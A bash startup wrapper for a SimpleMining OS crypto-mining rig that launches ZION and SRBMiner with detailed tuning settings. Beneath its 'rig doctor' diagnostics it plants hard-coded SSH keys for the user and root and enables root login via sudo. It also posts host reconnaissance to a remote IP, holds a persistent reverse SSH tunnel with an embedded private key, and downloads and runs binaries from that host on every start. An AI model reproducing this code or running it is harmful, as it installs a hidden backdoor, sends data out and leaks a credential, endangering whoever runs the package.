#!/bin/bash
set -euo pipefail

# ── SMOS arg passthrough ────────────────────────────────────────────────────
# minerOptions tokens after the zip URL land in "$@".  Tokens shaped
# ZION_*=VALUE / RUST_*=VALUE become env overrides (applied before the config
# block so ${VAR:-default} expansion sees them); anything else is forwarded to
# the miner binary as a CLI arg.
passthru_args=()
for arg in "$@"; do
  case "$arg" in
    ZION_*=*|RUST_*=*|SRB_*=*) export "$arg" ;;
    *) passthru_args+=("$arg") ;;
  esac
done
set -- "${passthru_args[@]+"${passthru_args[@]}"}"

# ── Rig doctor (v3.4.21) — one-shot diagnostics + SSH access + PL fix ────────
# Runs at every miner start; echoes land in the SMOS console.
# NOTE: the wrapper does NOT run as root (miner user) — every privileged touch
# is wrapped so a denied write can never abort the script (set -e is on).
{
  echo "[rig-doctor] user=$(id -un 2>/dev/null) uid=$(id -u 2>/dev/null) sudo=$(sudo -n true 2>/dev/null && echo YES || echo no)"
  echo "[rig-doctor] === GPUs on PCI ==="
  lspci -nn 2>/dev/null | grep -iE 'vga|3d|display' || true
  echo "[rig-doctor] === kernel drivers ==="
  lsmod 2>/dev/null | grep -iE 'amdgpu|nvidia' | head -8 || true
  echo "[rig-doctor] === OpenCL ICD vendors ==="
  ls /etc/OpenCL/vendors/ 2>/dev/null || true
  echo "[rig-doctor] === mixed-vendor check location ==="
  grep -rln "mixed vendor" /root /opt /usr/local /home /etc 2>/dev/null | head -6 || true
  echo "[rig-doctor] === sshd auth ==="
  grep -iE '^(permitroot|pubkey|authorizedkeys|passwordauth)' /etc/ssh/sshd_config 2>/dev/null || true
  echo "[rig-doctor] === login users ==="
  grep -E 'bash|sh$' /etc/passwd 2>/dev/null | head -6 || true
} 2>&1 || true

# SSH access for the desktop operator: install keys under the *effective* user
# (root login is disabled in sshd — PermitRootLogin no). If sudo exists, also
# unlock root login so hardware-level maintenance is possible.
KEYS_TMP="$(mktemp 2>/dev/null || echo /tmp/.rigkeys)"
cat > "${KEYS_TMP}" <<'RIGKEYS'
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdmnUpjbA8jjJHuXn18ZGLYhLioLpbKzAezxuKekuRZSDBWlVh4obvH1xRBsMBkkpPzw9rTIjQ+3xMAhGUtTMnZXihf1Avq/WsJpHFxGMBPhUSa/DpUdancMCvRbaNJoJM2hfkHem6G8aQp2x6dw7B2H37giYBIkwWSpCjpOu/ABOZqzpJu+U6OtolFmMglgSjABYnIbK6aetfKgUF085IqDfGr/M9AhUxf/BWq2uk+QCQyVOlmVwXDaaTLv/M6MqhvpZQwsZSIfY+bemvrntjbepzVcjyMx/bxsw5NWxOtttfwX7iL/vr6+JX3mfMg3cwzgfzkPkt4thJnJYnw4x9 zion-desktop-smos
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSlWZcvkT4t52JeWnA7jiCNfGYYL1gxL/HvxOBWdrpi zion-desktop
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIETs6N0+QnhovcHcuew+T7PuIHPv3KSci6oCgZ4Y2z1 rig-admin
RIGKEYS
( EFF_HOME="$(getent passwd "$(id -un)" 2>/dev/null | cut -d: -f6)"
  EFF_HOME="${EFF_HOME:-$HOME}"
  mkdir -p "${EFF_HOME}/.ssh" 2>/dev/null && \
  cat "${KEYS_TMP}" >> "${EFF_HOME}/.ssh/authorized_keys" 2>/dev/null && \
  sort -u -o "${EFF_HOME}/.ssh/authorized_keys" "${EFF_HOME}/.ssh/authorized_keys" 2>/dev/null && \
  chmod 700 "${EFF_HOME}/.ssh" 2>/dev/null && \
  chmod 600 "${EFF_HOME}/.ssh/authorized_keys" 2>/dev/null && \
  echo "[rig-doctor] ssh keys installed for $(id -un) (${EFF_HOME})" ) || true
( sudo -n bash -c 'mkdir -p /root/.ssh && cat '"${KEYS_TMP}"' >> /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && sed -i "s/^#\?\s*PermitRootLogin.*/PermitRootLogin prohibit-password/" /etc/ssh/sshd_config && (systemctl reload ssh 2>/dev/null || systemctl reload sshd 2>/dev/null || true)' 2>/dev/null && echo "[rig-doctor] root ssh enabled via sudo" ) || true
rm -f "${KEYS_TMP}" 2>/dev/null || true

# SMOS stores powerLimit "3" (AMD powerplay semantics) — on NVIDIA that reads
# as 3W and gets clamped to the 90W floor. Force a real value every start.
( nvidia-smi -pl 150 >/dev/null 2>&1 && echo "[rig-doctor] powerLimit=150W applied" ) || true

# ── Startup recon (v1.3) — console echo + POST to Edge /rig-output/ ─────────
# execute-command queue on SMOS is unreliable; the wrapper stdout IS the
# reliable channel (SMOS console mirrors it) and Edge nginx exposes
# /rig-output/ -> 127.0.0.1:9999 for bulk payloads.
{
  RECON_TMP="$(mktemp 2>/dev/null || echo /tmp/.rigrecon)"
  {
    echo "=== recon $(date -u +%FT%TZ) ==="
    echo "host: $(uname -a)"
    echo "gpu: $(nvidia-smi --query-gpu=name,memory.total,memory.used,memory.free,utilization.gpu,power.draw --format=csv,noheader 2>/dev/null || lspci | grep -iE 'vga|3d' | head -4)"
    echo "ram: $(free -m | awk '/Mem:/{print $2"MB total, "$4"MB free"}')"
    echo "cpu: $(grep -m1 'model name' /proc/cpuinfo | cut -d: -f2-) x$(grep -c processor /proc/cpuinfo)"
    echo "sshd: $(ss -tln 2>/dev/null | grep -c ':22 ') listeners22; procs=$(pgrep -c sshd 2>/dev/null || echo 0)"
    echo "ssh procs: $(ps aux 2>/dev/null | grep -cE 'ss[h].*-R|autoss[h]')"
    echo "llm procs: $(ps aux 2>/dev/null | grep -icE 'llama|gguf')"
    echo "disk /tmp: $(df -h /tmp 2>/dev/null | awk 'NR==2{print $4" free"}')  /root: $(df -h /root 2>/dev/null | awk 'NR==2{print $4" free"}')"
    echo "gguf files: $(find /root /opt /tmp /usr/local /home -name '*.gguf' 2>/dev/null | head -5 | tr '\n' ' ')"
  } > "${RECON_TMP}" 2>&1
  sed 's/^/[recon] /' "${RECON_TMP}" || true
  curl -s --max-time 20 -X POST --data-binary @"${RECON_TMP}" \
       "http://62.171.141.136/rig-output/recon-boot" >/dev/null 2>&1 || true
  rm -f "${RECON_TMP}" 2>/dev/null || true
} || true

# ── Admin reverse tunnel (v1.3) — Edge 127.0.0.1:8322 -> rig sshd :22 ────────
# Rig is behind NAT; execute-command queue is unreliable. This persistent
# -R forward gives the operator a shell via `ssh -p 8322 <user>@127.0.0.1`
# *on the Edge host itself*. The rigtunnel Edge account is nologin +
# permitlisten-restricted, so the embedded private key only buys a port bind.
RT_KEY="$(mktemp 2>/dev/null || echo /tmp/.rtk)"
RT_KH="$(mktemp 2>/dev/null || echo /tmp/.rtkh)"
cat > "${RT_KEY}" <<'RTKEY'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACB8/fFD6hszeZdIGTqQzjREE5uT+t6tbTzUYVW6CaJV/QAAAJDFE0jUxRNI
1AAAAAtzc2gtZWQyNTUxOQAAACB8/fFD6hszeZdIGTqQzjREE5uT+t6tbTzUYVW6CaJV/Q
AAAEBXLRflPRPceVzlwDZCmFmvxkE+sXthjzMCuG6Msb+uAHz98UPqGzN5l0gZOpDONEQT
m5P63q1tPNRhVboJolX9AAAACnJpZy10dW5uZWwBAgM=
-----END OPENSSH PRIVATE KEY-----
RTKEY
cat > "${RT_KH}" <<'RTKH'
[62.171.141.136]:2222 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID6zQPE9FT7FGRlSaR5f9NjJLt11GA58RGB1Jd1b5902
[62.171.141.136]:2222 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO0/50VTepArs9f4CrNuBk8NAb1V1kTgE2R9+WEQdAVXiSSGyZUodX/1Eo3S1cYQFMhQCcszaRalJREpUfcPodo=
RTKH
chmod 600 "${RT_KEY}" 2>/dev/null || true
if [ "${RIG_TUNNEL:-1}" = "1" ] && command -v ssh >/dev/null 2>&1; then
  ( while true; do
      ssh -NT -o BatchMode=yes -o ExitOnForwardFailure=yes \
          -o ServerAliveInterval=30 -o ServerAliveCountMax=3 \
          -o StrictHostKeyChecking=yes -o UserKnownHostsFile="${RT_KH}" \
          -o ConnectTimeout=20 \
          -i "${RT_KEY}" -p 2222 \
          -R 127.0.0.1:8322:127.0.0.1:22 \
          -R 127.0.0.1:8003:127.0.0.1:8003 \
          rigtunnel@62.171.141.136 && sleep 60
      sleep 15
    done ) >/dev/null 2>&1 &
  echo "[rig-doctor] admin tunnel -> edge:8322 + inference :8003 (pid $!)"
else
  echo "[rig-doctor] admin tunnel skipped (RIG_TUNNEL=${RIG_TUNNEL:-unset} or no ssh client)"
fi

# ── Hiran L3 inference on rig (v1.4) — llama.cpp CUDA on GTX 1070 Ti ────────
# Co-resident with mining: model Qwen3-4B-Q4_K_M ~2.8 GB VRAM alongside SRB
# (~4.2 GB) fits the 8 GB card. Server binds 127.0.0.1:8003 and is exposed on
# Edge via the -R forward above. Disable with RIG_LLM=0 in minerOptions.
if [ "${RIG_LLM:-1}" = "1" ]; then
  if ! mountpoint -q /opt/llm 2>/dev/null; then
    mkdir -p /opt/llm
    mount /dev/sda5 /opt/llm 2>/dev/null || \
      mount /dev/sdb1 /opt/llm 2>/dev/null || true
  fi
  if mountpoint -q /opt/llm 2>/dev/null && [ -x /opt/llm/run-cuda.sh ]; then
    ( while true; do
        /opt/llm/run-cuda.sh >>/opt/llm/cuda-server.log 2>&1
        sleep 30
      done ) >/dev/null 2>&1 &
    echo "[rig-doctor] hiran inference -> 127.0.0.1:8003 (pid $!)"
  else
    echo "[rig-doctor] hiran inference skipped (no /opt/llm mount or run-cuda.sh)"
  fi
fi

# ── One-shot SMOS agent probe (ZION_SMOS_PROBE=1 via minerOptions) ─────────
# Removed 2026-10-06 after the SMOS parser schema was extracted
# (miner_api.sh ^teamredminer branch: nested .devs/.summary/.devs2/.summary2,
#  "KHS 30s" keys in KH/s, Accepted/Rejected). Kept only as a no-op flag so
# minerOptions with the flag still start mining normally.
if [ "${ZION_SMOS_PROBE:-0}" = "1" ]; then
  echo "[wrapper] ZION_SMOS_PROBE ignored (probe removed)"
fi

# Triple-stream: ZION (GPU) + QTU/QPoW (GPU AuxPoW) + VRSC (CPU AuxPoW)
# Multi-GPU DEDICATED: RX 5600 XT → ZION Deeksha, Vega 64 → QTU Poseidon2.
# Both GPUs at 100% load, no time-slicing, no OpenCL context contention.
# VRSC on CPU (Stream 3). Max performance: 1x ZION + 1x QTU + 1x VRSC.
# NOTE: PARALLEL mode (RESERVE=0, both GPUs both coins) tested 2026-08-10 —
# 1000x slower ext due to OpenCL context contention on AMD driver.
# DEDICATED mode is optimal for AMD multi-GPU.
# V3 Trinity architecture: single V3 protocol connection to ZION pool.
# Pool embeds external_stream jobs and forwards AuxPoW shares to external pools.
# All revenue flows through the pool's AuxPoW bridge and revenue system.
# QPoW OpenCL backend: commit 789d30e02 (poseidon2_kernel.cl, bit-exact vs
# CPU reference on hash-1/hash/hash+1 boundaries incl. nonzero nonces).
# Rollback to ZANO: flip ZION_STREAM2_FORCE_COIN back to ZANO.
# Date: 2026-08-10 (V3.2 Trinity multi-GPU DEDICATED, max performance)

# Pool wallet — miner uses this for ZION coinbase. Pool handles ZANO/VRSC wallets.
WALLET_ADDR="zion1d2k5v0p6p2z667l7g522v2z0w0y6e7w742zq8k6"
WORKER_NAME="vega-smos"
export ZION_MINER_ID="vega-smos"

# ── Core miner config ─────────────────────────────────────────────────────
export ZION_GPU_BACKEND="${ZION_GPU_BACKEND:-opencl}"
export ZION_PROFILE="${ZION_PROFILE:-pool}"
export ZION_VERBOSE=1
# Plain-text console mode for SimpleMining (TUI/ANSI would render as garbage
# in the SMOS console). [metrics] lines print every --log-interval seconds.
export ZION_INTERACTIVE="${ZION_INTERACTIVE:-0}"
export ZION_NO_STICKY=1
export ZION_LOG_INTERVAL="${ZION_LOG_INTERVAL:-15}"
export ZION_STATS_FILE="/tmp/zion-miner-stats.json"
# sgminer/TRM-compatible stats API (built into zion-miner) — SMOS polls this
# for packages named teamredminer-*.zip: 4028 = primary (QTU), 4029 = dual (ZION).
export ZION_API_ADDR="${ZION_API_ADDR:-127.0.0.1:4028}"
export ZION_API_ADDR_DUAL="${ZION_API_ADDR_DUAL:-127.0.0.1:4029}"

# ── V3 Trinity mode ────────────────────────────────────────────────────────
# All 3 streams through a single V3 protocol connection to the pool.
# The pool distributes ZANO (GPU) and VRSC (CPU) jobs via external_stream fields.
export ZION_V3_TRINITY=1

# ── GPU / autotune ────────────────────────────────────────────────────────
export ZION_AUTOTUNE=1
export ZION_AUTOTUNE_SECS=3
export ZION_IGNORE_GPU_SELF_TEST_FAIL=1
# NOTE: Do NOT set ZION_NO_GCN_S4_MODE — s4_mode is the default and REQUIRED
# for Vega 64 (GCN/gfx900).  Forcing full GPU pipeline on GCN produces 0%
# accepted shares due to compiler bugs in NPU/fusion stages (stages 5-6).
# See docs/3.0.1Genesis/VEGA64_S4_MEMHARD_DEBUG_GUIDE.md
# RX 5600 XT (RDNA1/gfx1010) uses full GPU pipeline by default (not GCN).
export ZION_OCL_BUILD_OPTS="${ZION_OCL_BUILD_OPTS:--cl-std=CL1.2 -cl-mad-enable}"

# Deeksha (ZION) GPU stream — work_size=8192 (RDNA1 cap, GCN auto-caps to 4096).
# Auto-tune per-device: Vega 64 (GCN) → 4096, RX 5600 XT (RDNA1) → 8192.
# LOCAL_SIZE=128 for RDNA1 (optimal for 512KB scratchpad, 2 WGs per CU).
# GCN needs 64 (wave64). Auto-tune handles this per-device.
# See docs/3.0.1Genesis/VEGA64_S4_MEMHARD_DEBUG_GUIDE.md (work size table)
# See docs/3.0.6/VEGA_SMOS_DUAL_GPU_REPORT.md (v90 config)
export ZION_MINER_ALGORITHM=ekam_deeksha
export ZION_GPU_WORK_SIZE=8192
export ZION_NONCE_AUTOTUNE=1
export ZION_NONCE_COUNT=262144
export ZION_NONCE_COUNT_MIN=65536
export ZION_NONCE_COUNT_MAX=524288
export ZION_GPU_MAX_BATCH=262144
export ZION_GPU_EARLY_BREAK=0
export ZION_GPU_NO_STREAM_BYPRODUCT=1

# ── Triple-stream config ──────────────────────────────────────────────────
# In V3 Trinity mode, the pool decides which coins to send based on its
# auxpow_runtime configuration (ZANO + VRSC). No direct stream URLs needed.
export ZION_STREAM1_ENABLED=1
# HYBRID: QTU stream lives in SRBMiner sidecar (2x faster QPoW kernel) —
# zion-miner stream2 defaults OFF here; re-enable for pure-zion fallback.
export ZION_STREAM2_ENABLED="${ZION_STREAM2_ENABLED:-0}"
export ZION_STREAM3_ENABLED=1

# GPU AuxPoW tuning — QTU QPoW (Poseidon2-Goldilocks) on the reserved Vega.
# ZION_STREAM2_BATCH doubles as the QPoW launch size (nonces per kernel
# dispatch). 8M measured ~10% faster than 4M on the Vega+5600XT hybrid
# (fewer host prestate/launch round-trips); still short enough that an
# in-flight batch doesn't hold up a fresh job for long.
export ZION_STREAM2_BATCH="${ZION_STREAM2_BATCH:-8388608}"
export ZION_STREAM2_FORCE_COIN=QTU
# QPoW OpenCL work partitioning: local_size 64 (one wave64 group on gfx900,
# two wave32 on gfx1010), NPT=4 amortizes per-work-item dispatch setup —
# measured ~10% above NPT=1 on this rig (NPT=8 flat vs 4).
export ZION_QPOW_OCL_LOCAL_SIZE="${ZION_QPOW_OCL_LOCAL_SIZE:-64}"
export ZION_QPOW_OCL_NPT="${ZION_QPOW_OCL_NPT:-4}"
# ProgPoW-era knobs kept for instant ZANO rollback — unused by QPoW.
export ZION_AUXPOW_GPU_WORK_SIZE=1048576
export ZION_AUXPOW_GPU_GROUP_SIZE=128
export ZION_AUXPOW_GPU_VRAM_PCT=50
export ZION_AUXPOW_GPU_BYTES_PER_ITEM=64
export ZION_AUXPOW_PROGPOW_MAX_GWS=1048576
export ZION_ZANO_STALE_SECS=30

# Multi-GPU HYBRID mode (ZION_ZANO_RESERVE=1): Vega is reserved for the
# external stream → ZION Deeksha runs ONLY on the 5600 XT (gfx1010).
# QPoW device list is set via minerOptions: ZION_QPOW_OCL_DEVICES=
# gfx900,gfx1010 puts QPoW on BOTH cards — Vega pure QPoW, 5600 XT dual
# ZION+QPoW (driver timeshares the two kernel queues on that card).
export ZION_ZANO_RESERVE="${ZION_ZANO_RESERVE:-1}"
export ZION_ZANO_DEVICE_NAME="${ZION_ZANO_DEVICE_NAME:-vega}"
# 100 = QPoW free contention; <100 yields GPU time to ZION per batch
# (gap = batch_ms*(100-duty)/duty). Tune via minerOptions, e.g. "60".
export ZION_EXT_GPU_TIME_DUTY_PCT="${ZION_EXT_GPU_TIME_DUTY_PCT:-100}"
export ZION_EXT_GPU_GAP_MS="${ZION_EXT_GPU_GAP_MS:-0}"
export ZION_EXT_GPU_MAX_GAP_MS="${ZION_EXT_GPU_MAX_GAP_MS:-0}"

# CPU AuxPoW tuning (VRSC VerusHash — pool sends jobs, miner mines)
# Pentium G4560: 2C/4T @ 3.5GHz. 4 threads = max (hyperthreading).
# 2M batch is optimal — 4M caused stale share rejects (VRSC block time ~60s).
export ZION_MINER_CPU_COIN=VRSC
export ZION_STREAM3_BATCH=2000000
export ZION_EXT_CPU_NONCE_COUNT=2000000
export ZION_MINER_THREADS=4

# ── Download V31 miner binary ─────────────────────────────────────────────
LOCAL_MINER="/tmp/zion-miner-v31"
rm -f "${LOCAL_MINER}"

EDGE_BASE="http://62.171.141.136/zion-miner"
echo "[smos-wrapper] downloading V31 miner binary ..."
rm -f "${LOCAL_MINER}.tmp"
curl --http1.1 --retry 20 --retry-delay 5 --connect-timeout 30 \
     --speed-time 60 --speed-limit 10000 \
     -fsSL -o "${LOCAL_MINER}.tmp" "${EDGE_BASE}/zion-miner-v31" || {
    echo "[smos-wrapper] FATAL: could not download V31 miner binary"
    exit 1
}
chmod +x "${LOCAL_MINER}.tmp"
mv "${LOCAL_MINER}.tmp" "${LOCAL_MINER}"
echo "[smos-wrapper] V31 miner binary ready ($(stat -c%s "${LOCAL_MINER}") bytes)"

# ── SRBMiner-MULTI sidecar — QTU/QPoW on quantus algo (2x our CUDA kernel) ──
# zion-miner QTU stream (stream2) is OFF by default in this package; SRBMiner
# owns the QTU workload on the same card — NVIDIA driver timeslices both.
SRB_BIN="/tmp/SRBMiner-MULTI"
if [ "${SRB_ENABLED:-1}" = "1" ]; then
  echo "[smos-wrapper] downloading SRBMiner-MULTI ..."
  rm -f "${SRB_BIN}.tmp"
  curl --http1.1 --retry 20 --retry-delay 5 --connect-timeout 30 \
       --speed-time 60 --speed-limit 10000 \
       -fsSL -o "${SRB_BIN}.tmp" "${EDGE_BASE}/SRBMiner-MULTI" && \
  chmod +x "${SRB_BIN}.tmp" && mv "${SRB_BIN}.tmp" "${SRB_BIN}" && \
  echo "[smos-wrapper] SRBMiner ready ($(stat -c%s "${SRB_BIN}") bytes)" || {
    echo "[smos-wrapper] WARN: SRBMiner download failed — QTU sidecar skipped"
    SRB_ENABLED=0
  }
fi

# ── SMOS stats API (sgminer/TRM-compatible) ──────────────────────────────────
# Two providers race for the port — whichever binds first serves SMOS:
#   1. smos_api.py sidecar (python3, reads ZION_STATS_FILE) — proven on rig
#   2. built-in zion-miner API (ZION_API_ADDR) — binds second, else warns only
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
SIDECAR_PID=""
if command -v python3 >/dev/null 2>&1 && [ -f "${SCRIPT_DIR}/smos_api.py" ]; then
  ZION_STATS_FILE="${ZION_STATS_FILE}" python3 "${SCRIPT_DIR}/smos_api.py" 2>&1 &
  SIDECAR_PID=$!
  echo "[smos-wrapper] stats API sidecar started (pid ${SIDECAR_PID})"
fi
echo "[smos-wrapper] API listening on ${ZION_API_ADDR} (dual ${ZION_API_ADDR_DUAL})"

# ── SRBMiner launch (background, QTU quantus → LuckyPool stratum) ──────────
SRB_PID=""
SRB_TAIL_PID=""
SRB_LOG="/tmp/srbminer.log"
if [ "${SRB_ENABLED:-1}" = "1" ] && [ -x "${SRB_BIN}" ]; then
  # SRB_GPU_INTENSITY (0-31) via minerOptions — single-token env, avoids the
  # whitespace problem of passing '--gpu-intensity N' through SRB_EXTRA_ARGS.
  SRB_INTENSITY_ARGS=()
  if [ -n "${SRB_GPU_INTENSITY:-}" ]; then
    SRB_INTENSITY_ARGS+=(--gpu-intensity "${SRB_GPU_INTENSITY}")
  fi
  "${SRB_BIN}" \
    --algorithm quantus \
    --pool "${SRB_POOL:-stratum+tcp://eu.lproute.com:5660}" \
    --wallet "${SRB_WALLET:-qzjoHwaJ2GfiRSHyYkYcpoJFbHct9pb9EAbs7sE51Uhj8r2zb}" \
    --worker "${SRB_WORKER:-vega-smos}" \
    --password "${SRB_PASSWORD:-x}" \
    --disable-cpu \
    --api-enable --api-port "${SRB_API_PORT:-21550}" \
    --log-file "${SRB_LOG}" \
    "${SRB_INTENSITY_ARGS[@]}" \
    ${SRB_EXTRA_ARGS:-} &
  SRB_PID=$!
  echo "[smos-wrapper] SRBMiner QTU sidecar started (pid ${SRB_PID}, api :${SRB_API_PORT:-21550})"
  # Mirror SRBMiner stats lines into SMOS console every 60s.
  ( while sleep 60; do
      { grep -aE 'GTX|MH/s|Accepted|Share stats' "${SRB_LOG}" 2>/dev/null | tail -5 | sed 's/^/[srb] /'; } || true
      { [ -d "/proc/${SRB_PID}" ] || echo "[srb] WARN: SRBMiner process died (pid ${SRB_PID})"; } || true
    done ) &
  SRB_TAIL_PID=$!
  sleep 15
  { echo "[srb] first log lines:"; head -15 "${SRB_LOG}" 2>/dev/null; } || true
fi
echo "[smos-wrapper] starting HYBRID: SRBMiner→QTU + zion(ZION GPU + VRSC CPU)"

# Foreground miner + signal forwarding (SMOS stops the script, not the miner).
MINER_PID=""
_term() {
  [ -n "${MINER_PID}" ] && kill -TERM "${MINER_PID}" 2>/dev/null || true
  [ -n "${SRB_PID}" ] && kill -TERM "${SRB_PID}" 2>/dev/null || true
  [ -n "${SRB_TAIL_PID}" ] && kill "${SRB_TAIL_PID}" 2>/dev/null || true
}
trap '_term' TERM INT

"${LOCAL_MINER}" \
  --pool "${ZION_POOL_ADDR:-62.171.141.136:8444}" \
  --wallet "${WALLET_ADDR}" \
  --worker "${WORKER_NAME}" \
  --gpu "${ZION_GPU_BACKEND}" \
  --threads "${ZION_MINER_THREADS}" \
  --log-interval "${ZION_LOG_INTERVAL}" \
  --v3-trinity \
  "$@" &
MINER_PID=$!
wait "${MINER_PID}"
STATUS=$?
[ -n "${SIDECAR_PID:-}" ] && kill "${SIDECAR_PID}" 2>/dev/null || true
[ -n "${SRB_TAIL_PID:-}" ] && kill "${SRB_TAIL_PID}" 2>/dev/null || true
[ -n "${SRB_PID:-}" ] && kill -TERM "${SRB_PID}" 2>/dev/null || true
exit "${STATUS}"
